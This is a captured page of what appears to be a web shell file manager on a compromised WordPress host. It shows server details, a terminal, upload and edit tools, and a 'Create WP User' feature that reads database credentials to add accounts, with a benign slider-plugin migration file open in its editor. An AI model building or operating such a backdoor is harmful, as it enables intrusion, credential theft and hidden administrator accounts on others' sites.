Linux webm017.cluster130.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid x86_64
PHP/7.4.33
服务器IP :
10.130.20.17
& 您的IP :
216.73.217.47
域名 :
无法读取 [ /etc/named.conf ]
用户 :
koaigpw
上传
终端
新建文件
新建文件夹
Create WP User
登出
+
/
home
/
koaigpw
/
infrops.pl
/
wp-content
/
plugins
/
motopress-slider-lite
/
includes
/
updates
/
[ 返回根目录 ]
名称
大小
权限
修改时间
操作
..
-
-
-
1.1.0.php
1.03 KB
-rw-r--r--
2021-03-21 12:50
1.2.0.php
64.00 B
-rw-r--r--
2021-03-21 12:50
2.0.0.php
1.14 KB
-rw-r--r--
2021-03-21 12:50
2.1.0.php
1.14 KB
-rw-r--r--
2021-03-21 12:50
>_
终端
关闭 ✕
输入 'help' 查看可用命令。
koaigpw@
>
新建文件
文件名
取消
创建
重命名
新名称
取消
重命名
Create WordPress User
Auto (baca dari file CMS)
Manual (isi kredensial DB)
代码编辑器 :
1.1.0.php
<?php if (!defined('ABSPATH')) exit; global $wpdb; $slidesTable = $wpdb->prefix . 'mpsl_slides'; $slides = $wpdb->get_results("SELECT id, options FROM {$slidesTable}", 'ARRAY_A'); foreach ($slides as $slide) { $options = json_decode($slide['options'], true); if ($options) { if (!array_key_exists('bg_types', $options)) { // Change $bgType = isset($options['bg_type']) ? $options['bg_type'] : 'color'; $options['bg_types'] = array($bgType); if ($bgType === 'color') { $options['bg_color_type'] = $bgType; } unset($options['bg_type']); // Update $options = json_encode_slashed($options); if ($options !== false) { $updResult = $wpdb->update( $slidesTable, array('options' => $options), array('ID' => (int) $slide['id']), array('%s'), array('%d') ); } } } }
关闭
保存